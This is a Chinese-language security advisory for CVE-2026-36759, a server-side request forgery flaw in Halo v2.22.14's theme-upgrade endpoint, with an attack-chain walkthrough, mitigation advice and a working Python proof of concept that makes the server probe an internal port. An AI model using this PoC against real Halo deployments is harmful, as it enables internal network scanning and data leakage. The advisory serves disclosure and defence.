IPBUF安全漏洞报告
English
CVE-2026-36759 CVSS 6.5 中危

CVE-2026-36759: Halo存在SSRF漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36759
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Halo

相关标签

SSRFHaloCVE-2026-36759服务端请求伪造内网扫描

漏洞概述

Halo v2.22.14 版本的 /themes/{name}/upgrade-from-uri 接口存在服务端请求伪造(SSRF)漏洞。经认证的攻击者可通过构造特制的 GET 请求,利用服务器向内网发起非法请求。由于缺乏对目标 URI 的严格校验,该漏洞可被用于扫描内部网络资源、探测端口或获取敏感元数据,对系统机密性构成严重威胁。

技术细节

该漏洞位于 Halo v2.22.14 版本的主题升级功能模块中。具体而言,服务器在接收到对 `/themes/{name}/upgrade-from-uri` 的 GET 请求时,会解析请求中的 URI 参数并尝试从该地址获取资源以进行主题升级。然而,服务端代码未对目标 URI 地址进行有效的安全校验,未能限制目标地址必须为合法的外部 URL,也未阻止对内网 IP(如 127.0.0.1, 192.168.x.x)或云元数据服务地址的访问。攻击者首先需要获取一个低权限账户并登录系统。随后,攻击者构造包含内网敏感地址的恶意 GET 请求发送至该端点。服务器解析请求后,会代替攻击者向内网目标发起连接,并将响应状态或内容返回给攻击者,从而实现内网端口探测或敏感信息读取。

攻击链分析

STEP 1
侦察与认证
攻击者发现目标站点运行 Halo v2.22.14,并通过注册或泄露凭证获取一个低权限的已登录会话。
STEP 2
构造恶意请求
攻击者识别出存在漏洞的接口 /themes/{name}/upgrade-from-uri,并构造包含内网地址(如 127.0.0.1 或内网网段)的特制 GET 请求。
STEP 3
服务端请求伪造
服务器接收到请求后,解析参数中的 URI,并作为代理向该内网地址发起连接请求。
STEP 4
信息泄露
根据内网服务的响应(如连接超时、Banner 信息或 HTML 内容),攻击者判断端口开放状态或获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_host = "http://127.0.0.1:8090" attacker_session_cookie = "SESSION=YOUR_AUTHENTICATED_SESSION_COOKIE" # Replace with valid cookie # Vulnerable Endpoint # The endpoint accepts a URI to upgrade the theme from. theme_name = "example-theme" # Replace with a valid or existing theme name internal_target = "http://127.0.0.1:22" # Example: Scanning local SSH port url = f"{target_host}/themes/{theme_name}/upgrade-from-uri" headers = { "Cookie": attacker_session_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload: Sending the internal IP as the URI parameter params = { "uri": internal_target } try: print(f"[*] Sending SSRF request to: {url}") print(f"[*] Targeting internal resource: {internal_target}") response = requests.get(url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for indicators of port openness or data leakage.") print(f"[+] Response body: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Halo v2.22.14

防御指南

临时缓解措施
建议立即检查 Halo 系统版本,若为 v2.22.14 或受影响版本,应立即进行升级。在无法立即升级的情况下,建议通过防火墙规则临时封禁外部对 `/themes/*/upgrade-from-uri` 接口的访问权限,或仅允许受信任的内部管理 IP 访问。同时,应加强对服务器出站流量的监控,阻断非业务必要的内网连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表